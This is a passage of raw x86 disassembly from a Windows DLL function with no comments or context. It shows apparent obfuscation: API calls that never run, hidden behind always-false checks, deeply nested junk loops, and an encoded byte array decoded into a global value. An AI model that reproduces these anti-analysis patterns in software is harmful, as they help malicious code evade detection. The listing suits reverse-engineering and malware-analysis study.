mov dword [ebp - 0x74], 0xfffffff3
jmp 0x10036a3c
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x1b
jle 0x10036b0a
mov dword [ebp - 0x5c0], 0xffffffff
cmp dword [ebp - 0x5c0], 0
je 0x10036a80
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x10036a7b
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontFamiliesExA]
jmp 0x10036b05
mov dword [ebp - 0xfe8], 0xdcef989b
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x15c4], eax
cmp dword [ebp - 0x74], 0xca9d
jge 0x10036aab
mov dword [ebp - 0x6b8], 1
jmp 0x10036ab2
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0xfe8]
mov dword [ebp - 0x14ec], eax
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x1378], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x137c], eax
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x6b8]
cmp eax, 0xa968
jne 0x10036aef
mov dword [ebp - 0xc18], 1
jmp 0x10036af6
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0xc18]
mov dword [ebp - 0xd74], eax
jmp 0x10036a35
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1068], eax
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x210]
or eax, 0x11
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x210]
and ecx, 0x11
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x210]
mov byte [ebp + ecx - 0x11a4], al
push 2
lea ecx, [ebp - 0xcb4]
call fcn.100211fe
mov dword [ebp - 4], 5
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0xd94], 0x9c4b05ef
mov dword [ebp - 0x530], 0
jmp 0x10036b8d
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 2
jge 0x10036baf
push dword [ebp - 0x530]
lea ecx, [ebp - 0xcb4]
call fcn.1002129c
mov dword [eax], 0xf43b7c7c
jmp 0x10036b80
push 0
lea ecx, [ebp - 0xcb4]
call fcn.1002129c
cmp dword [eax], 0
je 0x10036e77
mov dword [ebp - 0x6c0], 0x4357
mov dword [ebp - 0xff4], 0x1000aab8
cmp dword [ebp - 0x6c0], 0x4488
jle 0x10036cd9
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Arc]
and dword [ebp - 0x2b0], 0
jmp 0x10036c17
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x5261
jge 0x10036cd9
and dword [ebp - 0x2a8], 0
jmp 0x10036c3d
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x375e
jge 0x10036cd4
and dword [ebp - 0x420], 0
jmp 0x10036c63
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x5d39
jge 0x10036ccf
mov eax, dword [ebp - 0x2a8]
cdq
idiv dword [ebp - 0x420]
xor edx, dword [ebp - 0x2b0]
mov eax, edx
cdq
mov dword [ebp - 0xe88], eax
mov dword [ebp - 0xe84], edx
push dword [ebp - 0xe84]
push dword [ebp - 0xe88]
lea ecx, [ebp - 0x1844]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xd7c], eax
mov ecx, dword [ebp - 0xd7c]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x1844]
call fcn.10020eba
jmp 0x10036c56
jmp 0x10036c30
jmp 0x10036c0a
mov dword [ebp - 0x2c0], 0xeede0b40
cmp dword [ebp - 0x6c0], 0x42f1
jge 0x10036cfb
push dword [ebp - 0xff4]
call fcn.10069ba3
pop ecx
mov byte [ebp - 0x15b], 0
mov dword [ebp - 0x9d0], 0x10c
mov dword [ebp - 0x1070], 0x1000aae0
cmp dword [ebp - 0x9d0], 0x325
jle 0x10036dfe
and dword [ebp - 0x4d8], 0
jmp 0x10036d3c
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0x799a
jge 0x10036dfe
and dword [ebp - 0x2b8], 0
jmp 0x10036d62
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x698f
jge 0x10036df9
and dword [ebp - 0x428], 0
jmp 0x10036d88
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x8044
jge 0x10036df4
mov eax, dword [ebp - 0x4d8]
imul eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x428]
shl eax, cl
cdq
mov dword [ebp - 0xe94], eax
mov dword [ebp - 0xe90], edx
push dword [ebp - 0xe90]
push dword [ebp - 0xe94]
lea ecx, [ebp - 0x1778]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xd84], eax
mov ecx, dword [ebp - 0xd84]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x1778]
call fcn.10020eba
jmp 0x10036d7b
jmp 0x10036d55
jmp 0x10036d2f
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x10036e17
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
cmp dword [ebp - 0x9d0], 0xd
jge 0x10036e2c
push dword [ebp - 0x1070]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x2c0], 0xffffffee
jmp 0x10036e45
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xb
jg 0x10036e72
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x10036e70
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
jmp 0x10036e38
jmp 0x100371e0
mov dword [ebp - 0x618], 0
mov dword [ebp - 0xd4], 0xffffffff
push 3
lea ecx, [ebp - 0x1204]
call fcn.100211fe
mov byte [ebp - 4], 6
mov dword [ebp - 0xb58], 0xfffffff7
mov dword [ebp - 0x6d8], 0xffffffff
mov dword [ebp - 0x1000], 0x2d38
mov dword [ebp - 0x560], 0
jmp 0x10036ed3
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 3
jge 0x10036ef5
push dword [ebp - 0x560]
lea ecx, [ebp - 0x1204]
call fcn.1002129c
mov dword [eax], 0x6b42be19
jmp 0x10036ec6
mov dword [ebp - 0x6f8], 0x53a7
mov dword [ebp - 0x1078], 0x1000ab00
cmp dword [ebp - 0x6f8], 0x5723
jle 0x10036fc5
and dword [ebp - 0x2c8], 0
jmp 0x10036f2f
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x223a
jge 0x10036fc5
and dword [ebp - 0x430], 0
jmp 0x10036f55
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x7357
jge 0x10036fc0
and dword [ebp - 0x2d0], 0
jmp 0x10036f77
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x4670
jge 0x10036fbe
mov eax, dword [ebp - 0x2c8]
cdq
idiv dword [ebp - 0x430]
imul edx, dword [ebp - 0x2d0]
mov eax, edx
cdq
mov dword [ebp - 0xea0], eax
mov dword [ebp - 0xe9c], edx
push dword [ebp - 0xe9c]
push dword [ebp - 0xea0]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x10036f6a
jmp 0x10036f48
jmp 0x10036f22
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x1384], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xd8c], eax
push 0
lea ecx, [ebp - 0x1204]
call fcn.1002129c
mov ecx, dword [ebp - 0xd8c]
mov dword [eax], ecx
cmp dword [ebp - 0xd4], 0xfffffff6
jne 0x10037007
mov dword [ebp - 0x6c8], 1
jmp 0x1003700e
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6c8]
neg eax
mov dword [ebp - 0xb58], eax
mov eax, dword [ebp - 0xb58]
cmp dword [ebp - 0xd4], eax
jne 0x10037036
mov dword [ebp - 0x6d0], 1
jmp 0x1003703d
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0x6d0]
neg eax
cmp dword [ebp - 0x618], eax
jl 0x1003706c
mov dword [ebp - 0x9d8], 1
jmp 0x10037073
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x6d8], eax
mov esi, dword [ebp - 0x6d8]
sub esi, 0x25bb0866
push 0
lea ecx, [ebp - 0xcb4]
call fcn.1002129c
cmp esi, dword [eax]
jne 0x100370a8
mov dword [ebp - 0xca8], 1
jmp 0x100370af
and dword [ebp - 0xca8], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0xca8], eax
jg 0x100370cf
push 0
lea ecx, [ebp - 0xcb4]
call fcn.1002129c
cmp dword [eax], 0
jne 0x100370ea
push 0
lea ecx, [ebp - 0x1204]
call fcn.1002129c
cmp dword [eax], 0
jne 0x100370ea
and dword [ebp - 0x6e0], 0
jmp 0x100370f4
mov dword [ebp - 0x6e0], 1
mov eax, dword [ebp - 0x1000]
cmp dword [ebp - 0x6e0], eax
jl 0x10037114
mov eax, 0x8aac1e0f
test eax, eax
jne 0x10037114
and dword [ebp - 0x9e0], 0
jmp 0x1003711e
mov dword [ebp - 0x9e0], 1
mov eax, dword [ebp - 0x9e0]
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0x4dfd9964
jne 0x10037142
mov dword [ebp - 0xb60], 1
jmp 0x10037149
and dword [ebp - 0xb60], 0
push 0
lea ecx, [ebp - 0xcb4]
call fcn.1002129c
mov ecx, dword [ebp - 0xb60]
cmp ecx, dword [eax]
jge 0x1003716c
mov dword [ebp - 0x6f0], 1
jmp 0x10037173
and dword [ebp - 0x6f0], 0
push 1
lea ecx, [ebp - 0xcb4]
call fcn.1002129c
mov ecx, dword [ebp - 0x6f0]
cmp ecx, dword [eax]
jge 0x10037196
mov dword [ebp - 0x9e8], 1
jmp 0x1003719d
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xd94], eax
cmp dword [ebp - 0x6f8], 0x5173
jge 0x100371d1
mov edx, dword [ebp - 0x1078]
mov ecx, 0x10084b98
call fcn.10023c34
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1204]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcb4]
call fcn.10021280
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x2f0], 0
jmp 0x10037207
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1d
jae 0x1003763d
mov dword [ebp - 0x4e0], 0xfffffffc
mov dword [ebp - 0xd9c], 0xd568d526
mov dword [ebp - 0x4e0], 0xffffffe5
jmp 0x1003723e
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 0xffffffef
jl 0x10037287
mov dword [ebp - 0xc20], 0x83111738
mov dword [ebp - 0xc20], 0x473eb905
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0xd9c], eax
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x10037285
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10037231
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x210]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x100375d1
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x210]
inc eax
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x1dc], 0xc93b4e1
mov dword [ebp - 0x2d8], 0
jmp 0x100372d7
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 4
jge 0x100372f3
mov eax, dword [ebp - 0x2d8]
mov dword [ebp + eax*4 - 0x19d8], 0xfff6
jmp 0x100372ca
mov dword [ebp - 0x700], 0x730f
mov dword [ebp - 0xda4], 0x1000ab30
cmp dword [ebp - 0x700], 0x7400
jle 0x1003742f
and dword [ebp - 0x438], 0
jmp 0x1003732d
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x180f
jge 0x10037425
and dword [ebp - 0x2e0], 0
jmp 0x10037353
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x547e
jge 0x10037420
and dword [ebp - 0x538], 0
jmp 0x10037379
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0x3997
jge 0x1003741b
and dword [ebp - 0x2e8], 0
jmp 0x1003739f
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x460b
jge 0x10037416
mov eax, dword [ebp - 0x438]
cdq
idiv dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x538]
sar edx, cl
or edx, dword [ebp - 0x2e8]
mov eax, edx
cdq
mov dword [ebp - 0xeac], eax
mov dword [ebp - 0xea8], edx
push dword [ebp - 0xea8]
push dword [ebp - 0xeac]
lea ecx, [ebp - 0x1874]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x100c], eax
mov ecx, dword [ebp - 0x100c]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x1874]
call fcn.10020eba
jmp 0x10037392
jmp 0x1003736c
jmp 0x10037346
jmp 0x10037320
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov byte [ebp - 0x109], 0
cmp dword [ebp - 0x700], 0x6ffe
jge 0x1003744e
push dword [ebp - 0xda4]
call fcn.10069ba3
pop ecx
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x1003746b
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToAsciiEx]
mov dword [ebp - 0x1dc], 0xfffffffd
jmp 0x10037484
mov eax, dword [ebp - 0x1dc]
dec eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xffffffec
jge 0x100374ba
mov dword [ebp - 0x1080], 4
mov dword [ebp - 0xdac], 0xffffffff
cmp dword [ebp - 0x1dc], 0
je 0x100374ac
jmp 0x100374ba
mov eax, dword [ebp - 0x1080]
mov dword [ebp - 0xdac], eax
jmp 0x10037477
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x210]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x440], 1
mov dword [ebp - 0x1244], 1
mov dword [ebp - 0x1240], 1
mov dword [ebp - 0x123c], 1
mov dword [ebp - 0x1238], 1
lea ecx, [ebp - 0x5a5]
call fcn.100212ab
push eax
lea eax, [ebp - 0x1234]
push eax
lea eax, [ebp - 0x1244]
push eax
lea ecx, [ebp - 0x1760]
call fcn.100212ae
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1590]
call fcn.1002125a
mov dword [ebp - 4], 7
mov dword [ebp - 0x9f0], 0xffffffff
mov eax, dword [ebp - 0x9f0]
inc eax
mov dword [ebp - 0x9f0], eax
mov dword [ebp - 0x440], 3
jmp 0x10037577
mov eax, dword [ebp - 0x440]
dec eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
jl 0x100375bd
mov dword [ebp - 0x1c4], 0
jmp 0x10037599
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 4
jge 0x100375bb
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1590]
call fcn.1002129c
mov dword [eax], 0x6f65e790
jmp 0x1003758c
jmp 0x1003756a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1590]
call fcn.10021280
jmp 0x100371ff
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x20f]
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2f0]
movzx ecx, byte [ebp + ecx - 0x212]
movsx ecx, byte [ebp + ecx - 0x11a4]
or eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x20f]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x2f0]
movzx edx, byte [ebp + edx - 0x212]
movsx edx, byte [ebp + edx - 0x11a4]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x210]
mov byte [ebp + ecx - 0x11a4], al
and dword [ebp - 0x2f0], 0
jmp 0x100371ff
mov dword [ebp - 0x18], 0xca0029bf
mov dword [ebp - 0x230], 0
jmp 0x1003765d
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 2
jge 0x10037679
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x13ec], 1
jmp 0x10037650
mov byte [ebp - 0x15f], 0
movzx eax, byte [ebp - 0x15f]
test eax, eax
je 0x10037697
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x138c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1394], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x139c], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x100376c6
mov dword [ebp - 0x708], 1
jmp 0x100376cd
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
add eax, 4
cmp eax, dword [ebp - 0x18]
jg 0x100376e7
mov dword [ebp - 0xb68], 1
jmp 0x100376ee
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xb68]
jle 0x10037705
mov dword [ebp - 0x710], 1
jmp 0x1003770c
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x710]
cmp eax, 0xfffffffc
jg 0x10037727
mov dword [ebp - 0x9f8], 1
jmp 0x1003772e
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x9f8]
cmp eax, dword [ebp - 0x18]
jge 0x10037748
mov dword [ebp - 0x1018], 1
jmp 0x1003774f
and dword [ebp - 0x1018], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x13a4], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jl 0x1003776c
mov dword [ebp - 0x718], 1
jmp 0x10037773
and dword [ebp - 0x718], 0
cmp dword [ebp - 0x718], 0xb66bafcb
jne 0x1003778b
mov dword [ebp - 0xc80], 1
jmp 0x10037792
and dword [ebp - 0xc80], 0
mov eax, dword [ebp - 0xc80]
neg eax
add eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x100377ae
mov dword [ebp - 0x720], 1
jmp 0x100377b5
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x720], eax
jl 0x100377cc
mov dword [ebp - 0xa00], 1
jmp 0x100377d3
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xa00]
neg eax
jne 0x100377ec
mov dword [ebp - 0x728], 1
jmp 0x100377f3
and dword [ebp - 0x728], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x728]
mov dword [ebp + eax - 0x13ec], ecx
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x11a4], 0
lea eax, [ebp - 0x11a4]
push eax
lea ecx, [ebp - 0x1928]
call fcn.10041fd6
mov dword [ebp - 0xdb4], eax
mov eax, dword [ebp - 0xdb4]
mov dword [ebp - 0xd48], eax
mov dword [ebp - 4], 8
mov edx, dword [ebp - 0x7a0]
mov ecx, dword [ebp - 0xd48]
call fcn.10024b93
mov dword [0x1008a010], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1928]
call fcn.1002116b
mov dword [ebp - 0x40], 0xec541651
mov dword [ebp - 0x5c8], 0xf81320f2
mov dword [ebp - 0x738], 0xfffffff8
mov dword [ebp - 0xb78], 0xfffffff7
mov dword [ebp - 0xa18], 0x21fafbf2
mov dword [ebp - 0x758], 0xfffffff6
mov dword [ebp - 0xdcc], 0x509ca4f0
mov dword [ebp - 0xb70], 0x5880
mov dword [ebp - 0x1024], 0x1000ab78
cmp dword [ebp - 0xb70], 0x58c3
jle 0x100379a1
and dword [ebp - 0x4e8], 0
jmp 0x100378e1
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0x5380
jge 0x100379a1
and dword [ebp - 0x2f8], 0
jmp 0x10037907
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x3558
jge 0x1003799c
and dword [ebp - 0x448], 0
jmp 0x1003792d
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x6b94
jge 0x10037997
mov eax, dword [ebp - 0x4e8]
imul eax, dword [ebp - 0x2f8]
and eax, dword [ebp - 0x448]
cdq
mov dword [ebp - 0xeb8], eax
mov dword [ebp - 0xeb4], edx
push dword [ebp - 0xeb4]
push dword [ebp - 0xeb8]
lea ecx, [ebp - 0x18a4]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdbc]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x18a4]
call fcn.10020eba
jmp 0x10037920
jmp 0x100378fa
jmp 0x100378d4
mov dword [ebp - 0x13ac], 0xf19716e2
cmp dword [ebp - 0xb70], 0x54db
jge 0x100379c3
push dword [ebp - 0x1024]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x13b4], 0xc5c6a81d
mov dword [ebp - 0x13bc], 0xfffffff8
mov dword [ebp - 0x760], 0xf3be
mov dword [ebp - 0x300], 0
jmp 0x100379fa
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 4
jge 0x10037a16
mov eax, dword [ebp - 0x300]
mov dword [ebp + eax*4 - 0x19c8], 0x2499e68f
jmp 0x100379ed
mov dword [ebp - 0xca4], 0x72c6
mov dword [ebp - 0x1030], 0x1000ab9c
cmp dword [ebp - 0xca4], 0x741e
jle 0x10037b62
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ScrollWindow]
and dword [ebp - 0x310], 0
jmp 0x10037a60
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x6c03
jge 0x10037b52
and dword [ebp - 0x450], 0
jmp 0x10037a86
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0xd58
jge 0x10037b4d
and dword [ebp - 0x578], 0
jmp 0x10037aac
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 0x2458
jge 0x10037b48
and dword [ebp - 0x308], 0
jmp 0x10037ad2
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x6b90
jge 0x10037b43
mov eax, dword [ebp - 0x578]
mov ecx, dword [ebp - 0x308]
sar eax, cl
and eax, dword [ebp - 0x450]
or eax, dword [ebp - 0x310]
cdq
mov dword [ebp - 0xec4], eax
mov dword [ebp - 0xec0], edx
push dword [ebp - 0xec0]
push dword [ebp - 0xec4]
lea ecx, [ebp - 0x197c]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdc4]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x197c]
call fcn.10020eba
jmp 0x10037ac5
jmp 0x10037a9f
jmp 0x10037a79
jmp 0x10037a53
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x10037c57
cmp dword [ebp - 0x40], 0xffff
jne 0x10037b87
mov dword [ebp - 0x730], 1
jmp 0x10037b8e
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x730]
cmp eax, dword [ebp - 0x40]
jle 0x10037ba9
mov dword [ebp - 0xa08], 1
jmp 0x10037bb0
and dword [ebp - 0xa08], 0
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0xa08]
cmp eax, dword [ebp - 0x40]
jle 0x10037bca
mov dword [ebp - 0x1090], 1
jmp 0x10037bd1
and dword [ebp - 0x1090], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x13c4], eax
mov eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x738], eax
jg 0x10037bfd
mov dword [ebp - 0xc28], 1
jmp 0x10037c04
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0xc28]
add eax, dword [ebp - 0x5c8]
cmp eax, dword [ebp - 0x5c8]
jge 0x10037c2f
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x10037c2f
mov dword [ebp - 0x740], 1
jmp 0x10037c36
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0xb78], eax
mov eax, 0x75ff4442
test eax, eax
je 0x10037c57
mov dword [ebp - 0xa10], 1
jmp 0x10037c5e
and dword [ebp - 0xa10], 0
cmp dword [ebp - 0xa10], 0xbf5cd53b
jb 0x10037c76
mov dword [ebp - 0x748], 1
jmp 0x10037c7d
and dword [ebp - 0x748], 0
imul eax, dword [ebp - 0x748], 0xc712
test eax, eax
jne 0x10037c94
cmp dword [ebp - 0xb78], 0
je 0x10037ca6
cmp dword [ebp - 0x40], 0
je 0x10037ca6
mov dword [ebp - 0x750], 1
jmp 0x10037cad
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0xa18]
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xca4], 0x71ac
jge 0x10037ce9
push dword [ebp - 0x1030]
call fcn.10069ba3
pop ecx
mov eax, dword [ebp - 0x760]
inc eax
mov dword [ebp - 0x760], eax
and dword [ebp - 0x540], 0
jmp 0x10037d0c
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0xe
jae 0x100380b1
mov dword [ebp - 0x1f0], 0xffffffff
mov dword [ebp - 0x13cc], 0x9ef72d4e
mov dword [ebp - 0x318], 0x3eee2fde
push 1
lea ecx, [ebp - 0x1320]
call fcn.100211fe
mov dword [ebp - 4], 9
mov dword [ebp - 0x58], 0
jmp 0x10037d5b
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x10037d71
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xdd4], 0x65121ac4
jmp 0x10037d54
mov dword [ebp - 0x58], 0
jmp 0x10037d81
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x10037d9d
push dword [ebp - 0x58]
lea ecx, [ebp - 0x1320]
call fcn.1002129c
mov dword [eax], 0x83398963
jmp 0x10037d7a
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x10037db5
call dword [sym.imp.GDI32.dll_GdiFlush]
mov dword [ebp - 0x1f0], 0x19
jmp 0x10037dce
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x12
jne 0x10037fcf
mov dword [ebp - 0x1098], 0xa8b1
mov dword [ebp - 0x13d4], 0xb13281d2
mov dword [ebp - 0x1430], 0xc17e5c28
mov dword [ebp - 0xddc], 4
mov dword [ebp - 0x770], 2
mov dword [ebp - 0x10a0], 0x56890c54
mov dword [ebp - 0x1438], 1
mov dword [ebp - 0x1440], 0xffffffff
mov dword [ebp - 0x103c], 0
mov dword [ebp - 0xde4], 7
push 2
